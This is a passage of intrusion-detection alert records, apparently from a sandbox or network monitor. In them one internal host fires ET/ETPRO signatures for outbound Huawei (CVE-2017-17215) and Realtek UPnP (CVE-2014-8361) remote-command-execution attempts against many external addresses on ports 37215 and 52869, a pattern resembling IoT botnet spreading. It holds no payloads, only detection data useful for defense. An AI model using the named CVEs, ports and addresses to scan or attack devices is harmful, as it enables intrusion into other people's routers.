Source Port:	47988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 162.227.65.152

Timestamp:	07/20/24-23:01:11.467529
SID:	2835222
Source Port:	50608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 178.99.199.57

Timestamp:	07/20/24-23:01:33.040755
SID:	2829579
Source Port:	40772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 162.138.211.72

Timestamp:	07/20/24-23:01:05.791886
SID:	2027339
Source Port:	42764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 217.244.72.189

Timestamp:	07/20/24-23:01:06.150964
SID:	2027339
Source Port:	48016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 17.165.228.4

Timestamp:	07/20/24-23:01:34.900554
SID:	2831300
Source Port:	57816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.6.111.127

Timestamp:	07/20/24-23:01:14.398477
SID:	2835222
Source Port:	53190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.175.137

Timestamp:	07/20/24-23:01:02.414137
SID:	2829579
Source Port:	35610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.4.62.49

Timestamp:	07/20/24-23:01:11.456952
SID:	2829579
Source Port:	49566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 181.146.224.142

Timestamp:	07/20/24-23:01:05.819466
SID:	2027339
Source Port:	52958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 4.227.121.101

Timestamp:	07/20/24-23:01:24.077306
SID:	2831300
Source Port:	46878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 87.15.36.118

Timestamp:	07/20/24-23:01:11.456952
SID:	2835222
Source Port:	50894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.178.53.110

Timestamp:	07/20/24-23:01:14.398311
SID:	2835222
Source Port:	35924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.252.185

Timestamp:	07/20/24-23:01:19.227537
SID:	2835222
Source Port:	52734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.129.48.47

Timestamp:	07/20/24-23:01:25.281101
SID:	2829579
Source Port:	59266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.113.58.156

Timestamp:	07/20/24-23:01:37.120690
SID:	2835222
Source Port:	55000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.12.43.213

Timestamp:	07/20/24-23:01:28.216939
SID:	2829579
Source Port:	47796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.12.199

Timestamp:	07/20/24-23:01:02.412791
SID:	2829579
Source Port:	56944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 168.49.16.106

Timestamp:	07/20/24-23:01:34.929652
SID:	2831300
Source Port:	55658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 51.249.121.241

Timestamp:	07/20/24-23:01:06.641896
SID:	2025132
Source Port:	43714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 196.52.15.30

Timestamp:	07/20/24-23:01:13.331580
SID:	2027339
Source Port:	55904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.71.249.32

Timestamp:	07/20/24-23:01:07.672294
SID:	2829579
Source Port:	38016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.167.148.200

Timestamp:	07/20/24-23:01:05.898280
SID:	2835222
Source Port:	55460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.112.235.220

Timestamp:	07/20/24-23:01:14.400300
SID:	2829579
Source Port:	52616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.114.223.179

Timestamp:	07/20/24-23:01:02.440637
SID:	2835222
Source Port:	58450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 152.149.61.199

Timestamp:	07/20/24-23:01:13.332449
SID:	2027339
Source Port:	49036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 34.145.54.99

Timestamp:	07/20/24-23:01:22.786757
SID:	2835222
Source Port:	39220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 183.15.201.247

Timestamp:	07/20/24-23:01:32.470001
SID:	2027339
Source Port:	56324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.158.158.252

Timestamp:	07/20/24-23:01:33.043558
SID:	2835222
Source Port:	51892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.47.221

Timestamp:	07/20/24-23:01:37.167957
SID:	2835222
Source Port:	43468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.41.26.77

Timestamp:	07/20/24-23:01:25.288605
SID:	2829579
Source Port:	34602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 102.223.154.160

Timestamp:	07/20/24-23:01:07.363470
SID:	2025132
Source Port:	56402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 189.27.2.190

Timestamp:	07/20/24-23:01:33.614419
SID:	2027339
Source Port:	33630
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 27.74.90.8

Timestamp:	07/20/24-23:01:34.927371
SID:	2027339
Source Port:	39676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.60.40.217

Timestamp:	07/20/24-23:01:13.333076
SID:	2027339
Source Port:	49814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.139.4.185

Timestamp:	07/20/24-23:01:25.289824
SID:	2829579
Source Port:	43176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.113.101.241

Timestamp:	07/20/24-23:01:23.160246
SID:	2027339
Source Port:	49738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 75.133.81.224

Timestamp:	07/20/24-23:01:37.120598
SID:	2835222
Source Port:	41902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 167.136.67.125

Timestamp:	07/20/24-23:01:32.478080
SID:	2025132
Source Port:	42640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 85.145.238.146

Timestamp:	07/20/24-23:01:34.900554
SID:	2831300
Source Port:	38172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.159.55

Timestamp:	07/20/24-23:01:07.674222
SID:	2829579
Source Port:	54388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 144.251.49.213

Timestamp:	07/20/24-23:01:24.076619
SID:	2027339
Source Port:	56946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.64.109.2

Timestamp:	07/20/24-23:01:05.897173
SID:	2829579
Source Port:	47400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.51.88.55

Timestamp:	07/20/24-23:01:19.334468
SID:	2829579
Source Port:	51446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 5.43.253.115

Timestamp:	07/20/24-23:01:13.331639
SID:	2831300
Source Port:	45466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.254.18.152

Timestamp:	07/20/24-23:01:28.205022
SID:	2829579
Source Port:	47898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 208.213.201.22

Timestamp:	07/20/24-23:01:33.418840
SID:	2027339
Source Port:	57084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 61.165.104.213

Timestamp:	07/20/24-23:01:02.407178
SID:	2835222
Source Port:	48840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 32.244.217.115

Timestamp:	07/20/24-23:01:02.407252
SID:	2829579
Source Port:	32986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.30.131.179

Timestamp:	07/20/24-23:01:02.411076
SID:	2829579
Source Port:	45562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 175.5.21.0

Timestamp:	07/20/24-23:01:34.915141
SID:	2027339
Source Port:	37624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.156.107.84

Timestamp:	07/20/24-23:01:22.786757
SID:	2835222
Source Port:	48482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.32.209

Timestamp:	07/20/24-23:01:22.794319
SID:	2835222
Source Port:	54508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.246.2.186

Timestamp:	07/20/24-23:01:14.397228
SID:	2829579
Source Port:	45434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 209.180.225.131

Timestamp:	07/20/24-23:01:06.853506
SID:	2025132
Source Port:	54450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 148.218.221.20

Timestamp:	07/20/24-23:01:34.914909
SID:	2027339
Source Port:	50944
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.225.214.97

Timestamp:	07/20/24-23:01:37.121166
SID:	2829579
Source Port:	54740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 168.204.135.219

Timestamp:	07/20/24-23:01:05.898353
SID:	2835222
Source Port:	60196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.172.177

Timestamp:	07/20/24-23:01:07.662924
SID:	2829579
Source Port:	35716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.134.44.79

Timestamp:	07/20/24-23:01:37.163818
SID:	2829579
Source Port:	41106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.150.191

Timestamp:	07/20/24-23:01:02.414137
SID:	2835222
Source Port:	46280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.92.62

Timestamp:	07/20/24-23:01:19.231228
SID:	2835222
Source Port:	46418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 17.93.26.147

Timestamp:	07/20/24-23:01:24.716091
SID:	2027339
Source Port:	47382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 66.23.204.217

Timestamp:	07/20/24-23:01:25.013309
SID:	2027339
Source Port:	42876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 40.180.122.90

Timestamp:	07/20/24-23:01:13.331147
SID:	2831300
Source Port:	45700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.228.216.178

Timestamp:	07/20/24-23:01:11.461509
SID:	2829579
Source Port:	59410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.234.78.35

Timestamp:	07/20/24-23:01:07.679354
SID:	2835222
Source Port:	59014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.31.230.108

Timestamp:	07/20/24-23:01:33.055417
SID:	2835222
Source Port:	52502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.17.37

Timestamp:	07/20/24-23:01:02.414528
SID:	2829579
Source Port:	34370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.181.146

Timestamp:	07/20/24-23:01:07.658261
SID:	2829579
Source Port:	57418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.226.43.130

Timestamp:	07/20/24-23:01:07.684526
SID:	2835222
Source Port:	37930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.140.48.178

Timestamp:	07/20/24-23:01:33.049931
SID:	2829579
Source Port:	44196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.233.133.241

Timestamp:	07/20/24-23:01:05.895754
SID:	2835222
Source Port:	51638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 71.235.40.59

Timestamp:	07/20/24-23:01:34.918353
SID:	2831300
Source Port:	36412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.98.57.56

Timestamp:	07/20/24-23:01:19.225297
SID:	2829579
Source Port:	56424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.219.107.170

Timestamp:	07/20/24-23:01:25.280228
SID:	2027339
Source Port:	47816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 132.72.212.148

Timestamp:	07/20/24-23:01:29.179619
SID:	2831300
Source Port:	59662
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.67.200.108

Timestamp:	07/20/24-23:01:11.460861
SID:	2835222
Source Port:	37698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 132.72.212.148

Timestamp:	07/20/24-23:01:24.485271
SID:	2025132
Source Port:	59090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.175.194.100

Timestamp:	07/20/24-23:01:33.050087
SID:	2829579
Source Port:	37714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 157.94.246.106

Timestamp:	07/20/24-23:01:22.854824
SID:	2025132
Source Port:	40104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 184.171.106.251

Timestamp:	07/20/24-23:01:24.075920
SID:	2831300
Source Port:	35942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.159.161.4

Timestamp:	07/20/24-23:01:11.478031
SID:	2829579
Source Port:	51788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.156.224.252

Timestamp:	07/20/24-23:01:33.037346
SID:	2835222
Source Port:	42072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 36.198.164.211

Timestamp:	07/20/24-23:01:06.674408
SID:	2025132
Source Port:	46188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 178.57.58.147

Timestamp:	07/20/24-23:01:13.333560
SID:	2831300
Source Port:	32952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.97.111

Timestamp:	07/20/24-23:01:25.232532
SID:	2829579
Source Port:	53936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.138.60

Timestamp:	07/20/24-23:01:22.787765
SID:	2835222
Source Port:	37474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.78.123

Timestamp:	07/20/24-23:01:14.397956
SID:	2835222
Source Port:	54992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.222.107

Timestamp:	07/20/24-23:01:37.167957
SID:	2835222
Source Port:	55556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 76.153.92.60

Timestamp:	07/20/24-23:01:34.923386
SID:	2027339
Source Port:	38414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.46.112.143

Timestamp:	07/20/24-23:01:28.201811
SID:	2829579
Source Port:	50418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.249.219.167

Timestamp:	07/20/24-23:01:14.398311
SID:	2829579
Source Port:	51372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 173.171.125.50

Timestamp:	07/20/24-23:01:06.893375
SID:	2025132
Source Port:	39058
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 71.165.43.178

Timestamp:	07/20/24-23:01:29.173099
SID:	2027339
Source Port:	36330
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.3.207

Timestamp:	07/20/24-23:01:19.223034
SID:	2835222
Source Port:	60770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 173.48.24.57

Timestamp:	07/20/24-23:01:34.919559
SID:	2027339
Source Port:	46974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.98.6.90

Timestamp:	07/20/24-23:01:33.840995
SID:	2027339
Source Port:	56826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 94.45.75.174

Timestamp:	07/20/24-23:01:25.185227
SID:	2027339
Source Port:	53594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.161.95.63

Timestamp:	07/20/24-23:01:19.223034
SID:	2829579
Source Port:	56068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.135.67.210

Timestamp:	07/20/24-23:01:14.397263
SID:	2835222
Source Port:	44736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.100.238.93

Timestamp:	07/20/24-23:01:28.180178
SID:	2835222
Source Port:	37796
Destination Port:	37215
Protocol:	TCP
